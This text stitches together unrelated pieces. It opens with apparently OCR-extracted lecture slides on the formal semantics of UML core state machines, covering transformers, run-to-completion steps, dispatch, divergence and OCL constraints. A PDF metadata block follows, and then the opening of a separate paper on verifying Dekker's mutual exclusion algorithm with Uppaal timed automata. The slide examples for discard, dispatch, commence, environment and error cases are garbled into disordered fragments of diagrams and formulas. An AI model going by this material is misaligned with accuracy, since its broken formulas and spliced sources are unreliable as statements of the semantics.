where \( σ' = σ|\{\text{dom}(σ) \backslash u}\} \) with \( u = I[expr](σ, β) \).
**observables**
\[ \text{Obs}_{\text{destroy}}[u_x] = \{(u_x, (+, ∅), u)\} \]
**error conditions**
\( I[expr](σ, β) \) not defined.
Sequential Composition of Transformers
- **Sequential composition** $t_1 \circ t_2$ of transformers $t_1$ and $t_2$ is canonically defined as
$$ (t_2 \circ t_1)[u_x](\sigma, \varepsilon) = t_2[u_x](t_1[u_x](\sigma, \varepsilon)) $$
with observation
$$ Obs(t_2 \circ t_1)[u_x](\sigma, \varepsilon) = Obs_{t_1}[u_x](\sigma, \varepsilon) \cup Obs_{t_2}[u_x](t_1(\sigma, \varepsilon)). $$
- **Clear**: not defined if one of the two intermediate “micro steps” is not defined.
Observation: our transformers are in principle the denotational semantics of the actions/action sequences. The trivial case, to be precise.
Note: with the previous examples, we can capture
- empty statements, skips,
- assignments,
- conditionals (by normalisation and auxiliary variables),
- create/destroy,
but not possibly diverging loops.
Our (Simple) Approach: if the action language is, e.g. Java, then (syntactically) forbid loops and calls of recursive functions.
Other Approach: use full blown denotational semantics.
No show-stopper, because loops in the action annotation can be converted into transition cycles in the state machine.
Run-to-completion Step
**Definition.** Let $A$ be a set of actions and $S$ a (not necessarily finite) set of states. We call
$$
\rightarrow \subseteq S \times A \times S
$$
a (labelled) transition relation.
Let $S_0 \subseteq S$ be a set of initial states. A sequence
$$
s_0 \xrightarrow{a_0} s_1 \xrightarrow{a_1} s_2 \xrightarrow{a_2} \ldots
$$
with $s_i \in S$, $a_i \in A$ is called computation of the labelled transition system $(S, \rightarrow, S_0)$ if and only if
- **initiation**: $s_0 \in S_0$
- **consecution**: $(s_i, a_i, s_{i+1}) \in \rightarrow$ for $i \in \mathbb{N}_0$.
**Note:** for simplicity, we only consider infinite runs.
**Active vs. Passive Classes/Objects**
- **Note:** From now on, assume that all classes are **active** for simplicity.
We’ll later briefly discuss the Rhapsody framework which proposes a way how to integrate non-active objects.
- **Note:** The following RTC “algorithm” follows [Harel and Gery, 1997] (i.e. the one realised by the Rhapsody code generation) where the standard is ambiguous or leaves choices.
Definition. Let $I_0 = (T_0, C_0, V_0, atr_0)$ be a signature with signals (all classes active), $D_0$ a structure of $I_0$, and $(Eth, ready, \oplus, \ominus, [\cdot])$ an ether over $I_0$ and $D_0$. Assume there is one core state machine $M_C$ per class $C \in C$.
We say, the state machines induce the following labelled transition relation on states $S := \Sigma \cup \{\#\}$ with actions $A := 2^{D(C)} \times Evs(E,D) \times 2^{D(C)} \times Evs(E,D) \times D(C)$:
$$(\sigma, \varepsilon) \xrightarrow{cons,Snd}_{u} (\sigma', \varepsilon')$$
if and only if
(i) an event with destination $u$ is discarded,
(ii) an event is dispatched to $u$, i.e. stable object processes an event, or
(iii) run-to-completion processing by $u$ commences,
i.e. object $u$ is not stable and continues to process an event,
(iv) the environment interacts with object $u$,
$$(cons, \emptyset) \xrightarrow{s} \#$$
if and only if
(v) $s = \#$ and $cons = \emptyset$, or an error condition occurs during consumption of $cons$.
From Core State Machines to LTS
(i) Discarding An Event
\[(\sigma, \varepsilon) \xrightarrow{(cons, Snd)}_{u} (\sigma', \varepsilon')\]
if
- an \(E\)-event (instance of signal \(E\)) is ready in \(\varepsilon\) for \(\exists\) object of a class \(C\), i.e.
\[\exists u \in \text{dom(}\sigma) \cap D(C) \exists u_E \in D(\varepsilon) : u_E \in \text{ready}(\varepsilon, u)\]
- \(u\) is stable and in state machine state \(s\), i.e. \(\sigma(u)(\text{stable}) = 1\) and \(\sigma(u)(\text{st}) = s\),
- but there is no corresponding transition enabled (all transitions incident with current state of \(u\) either have other triggers or the guard is not satisfied)
\[\forall (s, F, expr, act, s') \in \rightarrow (SM_C) : F \neq E \lor I[expr](\sigma) = 0\]
and
- the system configuration doesn’t change, i.e. \(\sigma' = \sigma\)
- the event \(u_E\) is removed from the ether, i.e.
\[\varepsilon' = \varepsilon \ominus u_E,\]
- consumption of \(u_E\) is observed, i.e.
\[cons = \{(u, (E, \sigma(u_E)))\}, Snd = \emptyset.\]
**Example: Discard**
\[ x > 0 \] / \( x := x - 1 \); \( n! J \)
\( SM_C: \)
\[ S_1 \] \hspace{1cm} \[ G [ x > 0 ] / x := y \] \hspace{1cm} \[ S_2 \]
\( H / z := y / x \)
\( \sigma: \)
\[ c : C \]
\[ x = 1, z = 0, y = 2 \]
\[ st = s_1 \]
\[ stable = 1 \]
\( \varepsilon: \)
- \( J \) for \( c \), \( G \) for \( c \)
- \( \exists u \in \text{dom}(\sigma) \cap \mathcal{D}(C) \)
- \( \exists u_E \in \mathcal{D}(\varepsilon') : u_E \in \text{ready}(\varepsilon, u) \)
- \( \forall (s, F, expr, act, s') \in \rightarrow (SM_C) : \)
- \( F \neq E \lor I[expr](\sigma) = 0 \)
- \( \sigma(u)(stable) = 1, \sigma(u)(st) = s, \)
- \( \sigma' = \sigma, \varepsilon' = \varepsilon \oplus u_E \)
- \( \text{cons} = \{(u, (E, \sigma(u_E)))\}, \text{Snd} = \emptyset \)
(ii) **Dispatch**
\[(\sigma, \varepsilon) \xrightarrow{(cons, Snd)}_{u} (\sigma', \varepsilon') \text{ if} \]
- \(u \in \text{dom}(\sigma) \cap \mathcal{D}(C) \) \(\exists u_E \in \mathcal{D}(\mathcal{E}) : u_E \in \text{ready}(\varepsilon, u)\)
- \(u\) is stable and in state machine state \(s\), i.e. \(\sigma(u)(\text{stable}) = 1\) and \(\sigma(u)(\text{st}) = s\),
- a transition is enabled, i.e.
\[\exists (s, F, expr, act, s') \in \rightarrow (SM_C) : F = E \land I[expr](\tilde{\sigma}) = 1\]
where \(\tilde{\sigma} = \sigma[u.params_E \mapsto u_e]\).
and
- \((\sigma', \varepsilon')\) results from applying \(t_{act}\) to \((\sigma, \varepsilon)\) and removing \(u_E\) from the ether, i.e.
\[(\sigma'', \varepsilon') = t_{act}(\tilde{\sigma}, \varepsilon \uplus u_E),\]
\[\sigma' = (\sigma''[u.st \mapsto s', u.stable \mapsto b, u.params_E \mapsto \emptyset])|\mathcal{D}(\mathcal{E})\setminus\{u_E\}\]
where \(b\) depends:
- If \(u\) becomes stable in \(s'\), then \(b = 1\). It **does** become stable if and only if there is no transition **without trigger** enabled for \(u\) in \((\sigma', \varepsilon')\).
- Otherwise \(b = 0\).
- Consumption of \(u_E\) and the side effects of the action are observed, i.e.
\[cons = \{(u, (E, \sigma(u_E)))\}, \text{Snd} = \text{Obst}_{act}(\tilde{\sigma}, \varepsilon \uplus u_E)\].
Example: Dispatch
$SM_C$:
$x > 0 \triangleright x := x - 1; n ! J$
$H / z := y / x$
$[x > 0] / x := y$
$G[x > 0] / x := y$
$H \triangleright n$
$s_1 \to s_2$
$\rho$
$\sigma$
$x = 1, z = 0, y = 2$
$st = s_1$
$stable = 1$
$\varepsilon$
$G$ for $c$
$\exists u \in \text{dom}(\sigma) \cap D(C)$
$\exists u_E \in D(\varepsilon') : u_E \in \text{ready}(\varepsilon, u)$
$\exists (s, F, expr, act, s') \in (SM_C)$
$F = E \land I[expr](\tilde{\sigma}) = 1$
$\tilde{\sigma} = \sigma[u.params_E \mapsto u_e]$
$\sigma'(stable) = 1, \sigma'(st) = s$,
$(\sigma'', \varepsilon') = \tau_{act}(\tilde{\sigma}, \varepsilon \oplus u_E)$
$\sigma' = (\sigma''[u.st \mapsto s', u.stable \mapsto b, u.params_E \mapsto \emptyset])|D(\varepsilon) \{u_E\}$
$\text{cons} = \{(u, (E, \sigma(u_E)))\}$, $\text{Snd} = \text{Obs}_{act}(\tilde{\sigma}, \varepsilon \oplus u_E)$
$\langle \langle \text{signal, env} \rangle \rangle$
$H$
$\langle \langle \text{signal} \rangle \rangle$
$G, J$
$C$
$x, z : \text{Int}$
$y : \text{Int} \langle \langle \text{env} \rangle \rangle$
$\sigma : c : C$
$\varepsilon : c / C$
$\langle \langle \text{signal} \rangle \rangle$
$\varepsilon'$
$\langle \langle \text{signal} \rangle \rangle$
(iii) Commence Run-to-Completion
\[(\sigma, \varepsilon) \xrightarrow{(\text{cons}, \text{Snd})}{_u} (\sigma', \varepsilon')\]
if
- there is an unstable object of a class $\mathcal{C}$, i.e.
\[\exists u \in \text{dom}(\sigma) \cap \mathcal{D}(C) : \sigma(u)(\text{stable}) = 0\]
- there is a transition without guard enabled from the current state $s = \sigma(u)(st)$, i.e.
\[\exists (s, \_, \text{expr}, \text{act}, s') \in \rightarrow (\mathcal{SM}_C) : I[expr](\sigma) = 1\]
and
- $(\sigma', \varepsilon')$ results from applying $t_{\text{act}}$ to $(\sigma, \varepsilon)$, i.e.
\[(\sigma'', \varepsilon') \in t_{\text{act}}(\sigma, \varepsilon), \quad \sigma' = \sigma''[u.st \mapsto s', u.\text{stable} \mapsto b]\]
where $b$ depends as before.
- Only the side effects of the action are observed, i.e.
\[\text{cons} = \emptyset, \text{Snd} = \text{Obs}_{t_{\text{act}}}(\sigma, \varepsilon)\]
Example: Commence
\[ [x > 0]/x := x - 1; n!J \]
\[ H/z := y/x \]
\[ \langle \langle \text{signal}, \text{env} \rangle \rangle \]
\[ \langle \langle \text{signal} \rangle \rangle \]
\[ \langle \langle \text{env} \rangle \rangle \]
\[ \sigma: \]
\[ c : C \]
\[ x = 2, z = 0, y = 2 \]
\[ st = s_2 \]
\[ stable = 0 \]
\[ \varepsilon: \]
\[ \exists u \in \text{dom}(\sigma) \cap \mathcal{D}(C) : \sigma(u)(\text{stable}) = 0 \]
\[ \exists (s, \omega, \text{expr}, \text{act}, s') \in (\mathcal{SM}_C) : I[\text{expr}](\sigma) = 1 \]
\[ \sigma(u)(\text{stable}) = 1, \sigma(u)(st) = s, \]
\[ (\sigma'', \varepsilon') = t_{act}(\sigma, \varepsilon), \]
\[ \sigma' = \sigma''[u.st \mapsto s', u.stable \mapsto b] \]
\[ \text{cons} = \emptyset, \text{Snd} = \text{Obs}_{t_{act}}(\sigma, \varepsilon) \]
(iv) Environment Interaction
Assume that a set $E_{env} \subseteq E$ is designated as environment events and a set of attributes $v_{env} \subseteq V$ is designated as input attributes.
Then
$$\left(\sigma, \varepsilon\right) \xrightarrow{\left(cons, Snd\right)}_{env} \left(\sigma', \varepsilon'\right)$$
if
- an environment event $E \in E_{env}$ is spontaneously sent to an alive object $u \in D(\sigma)$, i.e.
$$\sigma' = \sigma \cup \{u_E \mapsto \{v_i \mapsto d_i \mid 1 \leq i \leq n\}, \quad \varepsilon' = \varepsilon \oplus u_E$$
where $u_E \notin \text{dom}(\sigma)$ and $\text{atr}(E) = \{v_1, \ldots, v_n\}$.
- Sending of the event is observed, i.e. $cons = \emptyset$, $Snd = \{(env, E(\vec{d}))\}$.
or
- Values of input attributes change freely in alive objects, i.e.
$$\forall v \in V \forall u \in \text{dom}(\sigma) : \sigma'(u)(v) \neq \sigma(u)(v) \implies v \in V_{env}.$$
and no objects appear or disappear, i.e. $\text{dom}(\sigma') = \text{dom}(\sigma)$.
- $\varepsilon' = \varepsilon$.
Example: Environment
\[ [x > 0] / x := x - 1; n ! J \]
\[ G[x > 0] / x := y \]
\[ H/z := y/x \]
\[ \langle \langle \text{signal, env} \rangle \rangle \]
\[ \langle \langle \text{signal} \rangle \rangle \]
\[ C \]
\[ x, z : \text{Int} \]
\[ y : \text{Int} \]
\[ \langle \langle \text{env} \rangle \rangle \]
\( \sigma : C \)
\( x = 0, z = 0, y = 2 \)
\( \text{st} = s_2 \)
\( \text{stable} = 1 \)
\( \epsilon : \)
\[ \cdot \sigma' = \sigma \cup \{ u_E \mapsto \{ v_i \mapsto d_i \mid 1 \leq i \leq n \} \} \]
\[ \cdot \epsilon' = \epsilon \oplus u_E \text{ where } u_E \notin \text{dom}(\sigma) \]
\[ \text{and } atr(E) = \{ v_1, \ldots, v_n \}. \]
\[ u \in \text{dom}(\sigma) \]
\[ \cdot \text{cons} = \emptyset, \text{Snd} = \{ (\text{env}, E(\vec{d})) \}. \]
(v) Error Conditions
\[ s \xrightarrow{(\text{cons}, \text{Snd})} u \to \# \]
if, in (ii) or (iii),
- \( I[expr] \) is not defined for \( \sigma \), or
- \( t_{act} \) is not defined for \( (\sigma, \varepsilon) \),
and
- consumption is observed according to (ii) or (iii), but \( \text{Snd} = \emptyset \).
Examples:
- \( s_1 \xrightarrow{E[x/0]/act} s_2 \)
- \( s_1 \xrightarrow{E[true]/act} s_3 \)
- \( s_1 \xrightarrow{E[expr]/x := x/0} s_2 \)
**Example: Error Condition**
$SM_C$:
\[ [x > 0]/x := x - 1; n! J \]
\[ G[x > 0]/x := y \]
\[ H/z := y/x \]
$C:\; x, z: \text{Int}$
\[ \langle \langle \text{signal} \rangle \rangle \]
\[ y: \text{Int} \]
\[ \langle \langle \text{env} \rangle \rangle \]
\[ 0, 1 \]
\[ n \]
$\sigma$:
\[ c: C \]
\[ x = 0, z = 0, y = 27 \]
\[ st = s_2 \]
\[ stable = 1 \]
$\varepsilon$:
\[ H \text{ for } c \]
\[ (H, \emptyset) \]
\[ \# \]
- $I[expr]$ not defined for $\sigma$, or
- $t_{act}$ is not defined for $(\sigma, \varepsilon)$
- consumption according to (ii) or (iii)
- $Snd = \emptyset$
Notions of Steps: The Step
**Note:** we call one evolution \((\sigma, \varepsilon) \xrightarrow{(\text{cons}, \text{Snd})} u \xrightarrow{\text{a step}} (\sigma', \varepsilon')\) a step.
Thus in our setting, **a step directly corresponds** to
One object (namely \(u\)) takes a single transition between regular states.
(We have to extend the concept of “single transition” for hierarchical state machines.)
**That is:** We’re going for an interleaving semantics without true parallelism.
**Remark:** With only methods (later), the notion of step is not so clear. For example, consider
- \(c_1\) calls \(f()\) at \(c_2\), which calls \(g()\) at \(c_1\) which in turn calls \(h()\) for \(c_2\).
- Is the completion of \(h()\) a step?
- Or the completion of \(f()\)?
- Or doesn’t it play a role?
It does play a role, because **constraints/invariants** are typically (= by convention) assumed to be evaluated at step boundaries, and sometimes the convention is meant to admit (temporary) violation in between steps.
Notions of Steps: The Run-to-Completion Step
What is a **run-to-completion** step...?
- **Intuition**: a maximal sequence of steps, where the first step is a *dispatch* step and all later steps are *commence* steps.
- **Note**: one step corresponds to one transition in the state machine.
A run-to-completion step is in general not syntactically definable — one transition may be taken multiple times during an RTC-step.
**Example:**
\[
E[x > 0]/ \quad /x := x - 1
\]
\[
\sigma:
\begin{array}{|c|}
\hline
C \\
\hline
x = 2 \\
\hline
\end{array}
\]
\[
\varepsilon:
\begin{array}{|c|}
\hline
E \text{ for } u \\
\hline
\end{array}
\]
Notions of Steps: The Run-to-Completion Step
What about this Example:
\( SM_C: \)
\[
\begin{align*}
\sigma: & \quad : C \\
& \quad x = 2
\end{align*}
\]
\( SM_D: \)
\[
\begin{align*}
\varepsilon: & \quad E \text{ for } c \\
& \quad F \text{ for } d
\end{align*}
\]
Proposal: Let
\[(\sigma_0, \varepsilon_0) \xrightarrow{\text{cons}_0, \text{Snd}_0} u_0 \rightarrow \ldots \rightarrow \text{cons}_{n-1}, \text{Snd}_{n-1} \xrightarrow{u_{n-1}} (\sigma_n, \varepsilon_n), \quad n > 0,\]
be a finite (!), non-empty, maximal, consecutive sequence such that
- object \(u\) is alive in \(\sigma_0\),
- \(u_0 = u\) and \((\text{cons}_0, \text{Snd}_0)\) indicates dispatching to \(u\), i.e. \(\text{cons} = \{(u, \vec{v} \mapsto \vec{d})\}\),
- there are no receptions by \(u\) in between, i.e.
\[\text{cons}_i \cap \{u\} \times \text{Evs}(\mathcal{E}, \mathcal{D}) = \emptyset, i > 1,\]
- \(u_{n-1} = u\) and \(u\) is stable only in \(\sigma_0\) and \(\sigma_n\), i.e.
\[\sigma_0(u)(\text{stable}) = \sigma_n(u)(\text{stable}) = 1 \quad \text{and} \quad \sigma_i(u)(\text{stable}) = 0 \quad \text{for} \quad 0 < i < n,\]
Let \(0 = k_1 < k_2 < \cdots < k_N = n\) be the maximal sequence of indices such that \(u_{k_i} = u\) for \(1 \leq i \leq N\). Then we call the sequence
\[(\sigma_0(u) =) \quad \sigma_{k_1}(u), \sigma_{k_2}(u) \ldots, \sigma_{k_N}(u) \quad (= \sigma_{n-1}(u))\]
a (!) run-to-completion computation of \(u\) (from (local) configuration \(\sigma_0(u)\)).
Divergence
We say, object \( u \) can diverge on reception \( cons \) from (local) configuration \( \sigma_0(u) \) if and only if there is an infinite, consecutive sequence
\[
(\sigma_0, \varepsilon_0) \xrightarrow{(cons_0, Snd_0)} (\sigma_1, \varepsilon_1) \xrightarrow{(cons_1, Snd_1)} \ldots
\]
such that \( u \) doesn’t become stable again.
- **Note**: disappearance of object not considered in the definitions.
By the current definitions, it’s neither divergence nor an RTC-step.
Run-to-Completion Step: Discussion.
What people may dislike on our definition of RTC-step is that it takes a global and non-compositional view. That is:
- In the projection onto a single object we still see the effect of interaction with other objects.
- Adding classes (or even objects) may change the divergence behaviour of existing ones.
- Compositional would be: the behaviour of a set of objects is determined by the behaviour of each object “in isolation”.
Our semantics and notion of RTC-step doesn’t have this (often desired) property.
Can we give (syntactical) criteria such that any global run-to-completion step is an interleaving of local ones?
Maybe: Strict interfaces.
- (A): Refer to private features only via “self”.
(Recall that other objects of the same class can modify private attributes.)
- (B): Let objects only communicate by events, i.e. don’t let them modify each other’s local state via links at all.
(Proof left as exercise...
Putting It All Together
The Missing Piece: Initial States
**Recall:** a labelled transition system is \((S, \rightarrow, S_0)\). We have
- \(S\): system configurations \((\sigma, \varepsilon)\)
- \(\rightarrow\): labelled transition relation \((\sigma, \varepsilon) \xrightarrow{\text{(cons, Snd)}} u (\sigma', \varepsilon')\).
**Wanted:** initial states \(S_0\).
**Proposal:**
Require a (finite) set of **object diagrams** \(\mathcal{OD}\) as part of a UML model
\[(\mathcal{CD}, \mathcal{SM}, \mathcal{OD}).\]
And set
\[S_0 = \{ (\sigma, \varepsilon) \mid \sigma \in G^{-1}(\mathcal{OD}), \mathcal{OD} \in \mathcal{OD}, \varepsilon \text{ empty} \} \]
**Other Approach:** (used by Rhapsody tool) multiplicity of classes. We can read that as an abbreviation for an object diagram.
The **semantics** of the **UML model**
\[ M = (\mathcal{C} \mathcal{D}, \mathcal{S}, \mathcal{O}) \]
where
- some classes in \( \mathcal{C} \mathcal{D} \) are stereotyped as ‘signal’ (standard), some signals and attributes are stereotyped as ‘external’ (non-standard),
- there is a 1-to-1 relation between classes and state machines,
- \( \mathcal{O} \) is a set of object diagrams over \( \mathcal{C} \mathcal{D} \),
is the **transition system** \((S, \rightarrow, S_0)\) constructed on the previous slide.
The **computations of** \( M \) are the computations of \((S, \rightarrow, S_0)\).
OCL Constraints and Behaviour
- Let $M = (CD, SM, OD)$ be a UML model.
- We call $M$ consistent iff, for each OCL constraint $expr \in Inv(CD)$,
$$\sigma \models expr$$
for each “reasonable point” $(\sigma, \varepsilon)$ of computations of $M$.
(Cf. exercises and tutorial for discussion of “reasonable point”.)
Note: we could define $Inv(SM)$ similar to $Inv(CD)$.
Pragmatics:
- In UML-as-blueprint mode, if $SM$ doesn’t exist yet, then $M = (CD, \emptyset, OD)$
is typically asking the developer to provide $SM$ such that $M' = (CD, SM, OD)$ is consistent.
If the developer makes a mistake, then $M'$ is inconsistent.
- Not common: if $SM$ is given, then constraints are also considered when choosing transitions in the RTC-algorithm. In other words: even in presence of mistakes, the $SM$ never move to inconsistent configurations.
References
References
|
{"Source-Url": "http://swt.informatik.uni-freiburg.de/teaching/winter-term-2011-2012/sdmauml/Resources/Slides/lecture-20111221-1-annot-fix.pdf", "len_cl100k_base": 11785, "olmocr-version": "0.1.46", "pdf-total-pages": 51, "total-fallback-pages": 0, "total-input-tokens": 103425, "total-output-tokens": 14440, "length": "2e13", "weborganizer": {"__label__adult": 0.00029206275939941406, "__label__art_design": 0.0010728836059570312, "__label__crime_law": 0.0002608299255371094, "__label__education_jobs": 0.003978729248046875, "__label__entertainment": 8.600950241088867e-05, "__label__fashion_beauty": 0.00015103816986083984, "__label__finance_business": 0.0002884864807128906, "__label__food_dining": 0.0002894401550292969, "__label__games": 0.0006003379821777344, "__label__hardware": 0.0006499290466308594, "__label__health": 0.00035071372985839844, "__label__history": 0.00034999847412109375, "__label__home_hobbies": 0.00013709068298339844, "__label__industrial": 0.000579833984375, "__label__literature": 0.00038051605224609375, "__label__politics": 0.0002529621124267578, "__label__religion": 0.0005393028259277344, "__label__science_tech": 0.0289306640625, "__label__social_life": 0.00014197826385498047, "__label__software": 0.00894927978515625, "__label__software_dev": 0.95068359375, "__label__sports_fitness": 0.0002627372741699219, "__label__transportation": 0.0005326271057128906, "__label__travel": 0.0002287626266479492}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 33749, 0.00963]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 33749, 0.66362]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 33749, 0.59363]], "google_gemma-3-12b-it_contains_pii": [[0, 190, false], [190, 666, null], [666, 707, null], [707, 1269, null], [1269, 2248, null], [2248, 3116, null], [3116, 3958, null], [3958, 4717, null], [4717, 5220, null], [5220, 5751, null], [5751, 6145, null], [6145, 7018, null], [7018, 7818, null], [7818, 9270, null], [9270, 9552, null], [9552, 10460, null], [10460, 10812, null], [10812, 11275, null], [11275, 12367, null], [12367, 12825, null], [12825, 12987, null], [12987, 13819, null], [13819, 14340, null], [14340, 14816, null], [14816, 15465, null], [15465, 15488, null], [15488, 16117, null], [16117, 16530, null], [16530, 17578, null], [17578, 18583, null], [18583, 19360, null], [19360, 20704, null], [20704, 21933, null], [21933, 22849, null], [22849, 23660, null], [23660, 24693, null], [24693, 25473, null], [25473, 25928, null], [25928, 26527, null], [26527, 27547, null], [27547, 28187, null], [28187, 28457, null], [28457, 29667, null], [29667, 30158, null], [30158, 31125, null], [31125, 31149, null], [31149, 31915, null], [31915, 32511, null], [32511, 33360, null], [33360, 33371, null], [33371, 33749, null]], "google_gemma-3-12b-it_is_public_document": [[0, 190, true], [190, 666, null], [666, 707, null], [707, 1269, null], [1269, 2248, null], [2248, 3116, null], [3116, 3958, null], [3958, 4717, null], [4717, 5220, null], [5220, 5751, null], [5751, 6145, null], [6145, 7018, null], [7018, 7818, null], [7818, 9270, null], [9270, 9552, null], [9552, 10460, null], [10460, 10812, null], [10812, 11275, null], [11275, 12367, null], [12367, 12825, null], [12825, 12987, null], [12987, 13819, null], [13819, 14340, null], [14340, 14816, null], [14816, 15465, null], [15465, 15488, null], [15488, 16117, null], [16117, 16530, null], [16530, 17578, null], [17578, 18583, null], [18583, 19360, null], [19360, 20704, null], [20704, 21933, null], [21933, 22849, null], [22849, 23660, null], [23660, 24693, null], [24693, 25473, null], [25473, 25928, null], [25928, 26527, null], [26527, 27547, null], [27547, 28187, null], [28187, 28457, null], [28457, 29667, null], [29667, 30158, null], [30158, 31125, null], [31125, 31149, null], [31149, 31915, null], [31915, 32511, null], [32511, 33360, null], [33360, 33371, null], [33371, 33749, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 33749, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 33749, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 33749, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 33749, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 33749, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 33749, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 33749, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 33749, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 33749, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 33749, null]], "pdf_page_numbers": [[0, 190, 1], [190, 666, 2], [666, 707, 3], [707, 1269, 4], [1269, 2248, 5], [2248, 3116, 6], [3116, 3958, 7], [3958, 4717, 8], [4717, 5220, 9], [5220, 5751, 10], [5751, 6145, 11], [6145, 7018, 12], [7018, 7818, 13], [7818, 9270, 14], [9270, 9552, 15], [9552, 10460, 16], [10460, 10812, 17], [10812, 11275, 18], [11275, 12367, 19], [12367, 12825, 20], [12825, 12987, 21], [12987, 13819, 22], [13819, 14340, 23], [14340, 14816, 24], [14816, 15465, 25], [15465, 15488, 26], [15488, 16117, 27], [16117, 16530, 28], [16530, 17578, 29], [17578, 18583, 30], [18583, 19360, 31], [19360, 20704, 32], [20704, 21933, 33], [21933, 22849, 34], [22849, 23660, 35], [23660, 24693, 36], [24693, 25473, 37], [25473, 25928, 38], [25928, 26527, 39], [26527, 27547, 40], [27547, 28187, 41], [28187, 28457, 42], [28457, 29667, 43], [29667, 30158, 44], [30158, 31125, 45], [31125, 31149, 46], [31149, 31915, 47], [31915, 32511, 48], [32511, 33360, 49], [33360, 33371, 50], [33371, 33749, 51]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 33749, 0.04478]]}
|
olmocr_science_pdfs
|
2024-11-23
|
2024-11-23
|
52ee0673c91d215be1245850dd5aa8cb0f42047b
|
Modeling and Analysis of Dekker-Based Mutual Exclusion Algorithms
Libero Nigro 1,*, Franco Cicirelli 2 and Francesco Pupo 1
Abstract: Mutual exclusion is a fundamental problem in concurrent/parallel/distributed systems. The first pure-software solution to this problem for two processes, which is not based on hardware instructions like test-and-set, was proposed in 1965 by Th.J. Dekker and communicated by E.W. Dijkstra. The correctness of this algorithm has generally been studied under the strong memory model, where the read and write operations on a memory cell are atomic or indivisible. In recent years, some variants of the algorithm have been proposed to make it RW-safe when using the weak memory model, which makes it possible, e.g., for multiple read operations to occur simultaneously to a write operation on the same variable, with the read operations returning (flickering) a non-deterministic value. This paper proposes a novel approach to formal modeling and reasoning on a mutual exclusion algorithm using Timed Automata and the Uppaal tool, and it applies this approach through exhaustive model checking to conduct a thorough analysis of the Dekker’s algorithm and some of its variants proposed in the literature. This paper aims to demonstrate that model checking, although necessarily limited in the scalability of the number N of the processes due to the state explosions problem, is effective yet powerful for reasoning on concurrency and process action interleaving, and it can provide significant results about the correctness and robustness of the basic version and variants of the Dekker’s algorithm under both the strong and weak memory models. In addition, the properties of these algorithms are also carefully studied in the context of a tournament-based binary tree for N ≥ 2 processes.
Keywords: mutual exclusion; concurrency; Dekker’s basic algorithm and variants; tournament-based algorithms; memory models; formal modeling; model checking; timed automata; Uppaal
1. Introduction
This paper focuses on software-based mutual exclusion algorithms [1–4] which are at the core of concurrent/parallel and distributed systems. Such algorithms are the fundamental support to high-level mutual exclusion constructs (e.g., semaphores [5]) that are often exposed by operating systems and multi-threading libraries of programming languages like Java [6]. Ensuring the correctness of these algorithms is of utmost importance. However, mutual exclusion algorithms can be very hard to analyze by intuitive reasoning due to non-determinism and interleaving, which affect the order that actions are executed in the involved processes. Formal means for automated reasoning are represented by theorem provers (e.g., [7]), which can be difficult to use in practical cases for necessary mathematical characterization. In addition, a theorem prover usually cannot deal with timing issues. In this paper, the use of model checkers [8,9] is advocated because they not only provide the formal modeling required by a mutual exclusion algorithm, but they can also enable the possibility of investigating a model’s behavior using a symbolic simulator (as in [9]) which animates the execution of the chosen algorithm, thus helping in the preliminary phase.
of understanding and debugging the operations of the algorithm. For a precise analysis, though, exhaustive model checking is used, which relies on constructing a model state graph, which contains all the possible execution states that the model can assume during its dynamic evolution. A temporal logic can then be exploited for expressing the safety and liveness properties of the model through suitable formal queries, thus enabling the state graph to be explored to check whether the properties hold or not, and possibly generating a counterexample showing why a given property/query is not satisfied. In this work, timed automata [10], as implemented in the Uppaal toolbox [9], are exploited to model and analyze mutual exclusion algorithms. Uppaal was chosen because it supports intuitive graphical yet formal modeling and can handle temporal aspects using clocks. This paper argues that properly using the timing dimension is a key for observing the overtaking factor of a mutual exclusion algorithm, that is, the number of times other competing processes precede a given competing process $p$ before $p$ is finally allowed to enter its critical section. Another benefit Uppaal provides concerns the possibility of studying a mutual exclusion algorithm according to either the strong or weak memory model [1,2,11,12]. In the strong model, read/write operations on a memory cell are guaranteed to be atomic or indivisible. In the weak memory model, which now naturally occurs in low-cost multi-processor hardware devices [13,14], read/write operations can be simultaneous on the same variable. An algorithm that is robust enough to execute under the weak memory model is said to be RW-safe. It is a widespread opinion that a mutual exclusion algorithm should be correct and safe to execute regardless of the underlying memory model.
As a specific contribution, this paper proposes a novel modeling and verification approach based on Uppaal and applies it to conduct a thorough investigation of Dekker’s algorithm [15] for two processes, which is only supposed to be safe under the strong memory model. Two variants of this algorithm were proposed in [12,16] to improve Dekker’s solution specifically. The proposal in [12] was guided by the goal of making it RW-safe. However, as the model checking experimental work reported in this paper demonstrates, the basic Dekker’s algorithm is RW-safe as well as the variants in [12,16]. As a further study, the basic Dekker’s algorithm and the two variants in [12,16] are investigated in the more general scenario of $N \geq 2$ processes using a tournament-based implementation [17–19]. It was found that the general solution based on Dekker’s algorithm is still RW-safe and ensures a bounded overtaking. The other two solutions become RW-safe by fencing the write operation on a shared variable in pairs of sibling processes (see Sections 5.2 and 5.3). In addition, both variants incur in an unbounded overtaking.
As it is based on model checking, the applicability of the proposed approach is limited in the practical case by the state explosion problem, which occurs when the number $N$ of processes grows beyond a given threshold (e.g., $N = 8$ or, more often, a lower value), which depends on (i) the particular exploited algorithm, (ii) its adopted data variables, and (iii) the memory model used. Despite this scalability restriction, the approach proves valuable for predicting the properties of a mutual exclusion solution, including quantifying the overtaking bound.
